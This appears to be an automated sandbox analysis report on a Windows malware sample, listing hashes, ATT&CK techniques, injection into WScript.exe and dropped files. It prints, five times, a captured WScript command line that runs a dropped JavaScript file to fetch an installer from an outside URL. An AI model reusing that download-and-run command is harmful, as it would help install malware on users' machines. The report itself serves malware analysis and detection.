89acdbfc257f78c8f12f8e48a8ff05277248c03391cbf22435b15b15fabb8b28

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
23-05-2024 02:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe
Size

184KB
MD5

69686389cc15c6c024ecd7a65eed11f5
SHA1

9b58d1e1f83c5ccc661e1a23e0f9c1ab1d7b5a5c
SHA256

89acdbfc257f78c8f12f8e48a8ff05277248c03391cbf22435b15b15fabb8b28
SHA512

a8a9628867fef4ec6ae53a1a250008332e8f11a7baa420224676648d31102342eff3b112b21f663f03008c6ff8a1aaa139c252679b76dbde87993f2ec309dbde
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3e:/7BSH8zUB+nGESaaRvoB7FJNndnH

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	1032	WScript.exe
8	1032	WScript.exe
10	1032	WScript.exe
12	2396	WScript.exe
13	2396	WScript.exe
15	2888	WScript.exe
16	2888	WScript.exe
18	112	WScript.exe
19	112	WScript.exe
21	2144	WScript.exe
22	2144	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe

description	pid	process	target process
PID 2172 wrote to memory of 1032	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 1032	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 1032	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 1032	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2396	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2396	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2396	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2396	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2888	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2888	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2888	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2888	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 112	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 112	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 112	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 112	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2144	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2144	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2144	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe
PID 2172 wrote to memory of 2144	2172	69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\69686389cc15c6c024ecd7a65eed11f5_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2172

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C57.js" http://www.djapp.info/?domain=bLuIjfXGcS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C57.exe
2⤵
- Blocklisted process makes network request
PID:1032

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C57.js" http://www.djapp.info/?domain=bLuIjfXGcS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C57.exe
2⤵
- Blocklisted process makes network request
PID:2396

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C57.js" http://www.djapp.info/?domain=bLuIjfXGcS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C57.exe
2⤵
- Blocklisted process makes network request
PID:2888

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C57.js" http://www.djapp.info/?domain=bLuIjfXGcS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C57.exe
2⤵
- Blocklisted process makes network request
PID:112

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C57.js" http://www.djapp.info/?domain=bLuIjfXGcS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C57.exe
2⤵
- Blocklisted process makes network request
PID:2144

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
64c143e9f2a438ddf74501d3b3cc54bf

SHA1
66b41aabcaa5c364d405c858b85fa7a995f53c72

SHA256
02802fa86c2539668fb375ddf8b3ffa5a6c7ad8ae0050c3471dc9fca1275c0ca

SHA512
9decfe443630833dfc6c4e2b728c0395d0cbd59a5d868639f300244c4c61df6540b21d33497a8dd4e1947aaef02e4cbc815f53acc21d70ba1653d9492f438e96

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
25477d920ac2f74e9a46325427f5af11

SHA1
d0d8682967808942abeb1ad74aa1cde2ee755bff

SHA256
9ba961d33be48ccfd1416e05cffa5cf134ed5c4b7212211c487c5bf289c46873

SHA512
f51679f133de0c027cc46a89633be3922719f695a27d66aada727d9c6d54d6f74eb63f8ced19c6ea4e44901ec626c56f20ce4d2d87840c6d5e74880826db549e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
b994bb7378b01b14bb91903824e6bcdf

SHA1
63d322e50d24d0c14dd5a8a7086ab76871534823

SHA256
cbc777c300f31f2dc64d9445c7095c001c6bb2b35a777d800632c1f62d58d867

SHA512
dccb796dfee1e6759b794afddb4f94750e88701a65dad485b22f75af3197d9466a681365ad16e0c03bbfda7afe943967fcfc7cfe18e06f7dc035432bacd41445

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
86afdb246139f9989c6abadee39f79cc

SHA1
efb5f35822cdd69f24e277b48739bf355a386ef4

SHA256
09ab5bd0ae1739e2bf5c7dbf115328460adefea5e5d558038802f52568af3102

SHA512
ddb23bb82e72817d3a73ae0e2cdc2c43f3139553be5ab4659d646bd363bce10b3b536d7d845fde20d481d01e9ac59e7e1983ce7700988ba621407f96bc49dd51

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm
Filesize
40KB

MD5
375d6ef001a62f12be1ed28dff032b56

SHA1
7828eee5ec45a6b373b2d4d062505f3b2b4a5025

SHA256
91ac78b7d52f2345f07edf97359ce481c920c86717f36879c290960cd68eed89

SHA512
a1a6b1b23f1d7a1b4042524ad7352171a062bd40892f135ababb9133fb6ec39591b1b04ade06c732577a87e8983f8cc7760dc860165121aec7d47a8b6909e8f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm
Filesize
40KB

MD5
fb05f189d59d6e57710317138f8ca87b

SHA1
c19d7d22ffb4731942d2f4829b728f50b5ae0365

SHA256
652c40b100ea606be9f0acb43cb1927e0f2ee75f74900dee29469774c1f7416e

SHA512
d20f88221ecdb88f081b3a2066f4ecda4aa73c90769a6af97ab8623e38ec54b7cfcc17bcbc8543953d9538d644bbb472fc86497c021980df5f691c5d995e8981

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm
Filesize
40KB

MD5
de27672f0f150a785d865f2ad1753c16

SHA1
a747170b1c9f233dfc1a09c451bbeccd5f9babae

SHA256
be411429bd6114f3af6da515eab7aaefea433d00473473782426589b511b334d

SHA512
f48887c7108aeb2326f9c9ef1eb387b69a57f0d5afd0d20660ae9e5433a99a342b50da34d834242c8ffc2529bfd5c6648ed498bd941801e09756a33f2854e5bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm
Filesize
40KB

MD5
6b04c2cac07b64d8dc10d81721a268fc

SHA1
97aa77cb122a8e69abd7f6a1d8ac3819e7fa7534

SHA256
26cd1cc733833ff28a59edb010010611078ffed0abc8e92f730ba70a1c05dae3

SHA512
91ccd92fe3c40f04aaa51fab17c14be62630c5678a359113739eab7fc4a7ed3fb6a94010c99151bba68415369e4a94a2b5ac57eb74aa15bc86146ed6d41c2d45

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm
Filesize
40KB

MD5
b3fe1c816c135920767bb5f5286c15e1

SHA1
93b7c8fe34112c435c3cfdcadffb64eb997cf2e9

SHA256
f3be92a46f525c2e96066139beb9e5166e2d9bbb017571da33e23f34ea1062f8

SHA512
de3c270fbad5d9ff479f987a37141155568242f2893b1512d921c434522d5ff6a22e7072bb7572648c9a7c9b909a4f566746eebaa6ae233ba614399074b2abd0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4BCF.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6440.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1C57.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\288ROCK2.txt
Filesize
177B

MD5
7a88058d01b9c9e936493eb213303292

SHA1
474238480c4e6e7ccb212f55b63fc0f0af4f90bc

SHA256
3dce355681d2f1e2f84042e547dc16a56b0045d9c8b22287f35321b503243b2f

SHA512
91a607952737a94b35eb52da75be24b372ecf05c272a94cb5f479fac5a5b9aca936307d96ee0193d83a006c45dea36fea9ee14478eb920785a4f383f9fa64f21

Download Submit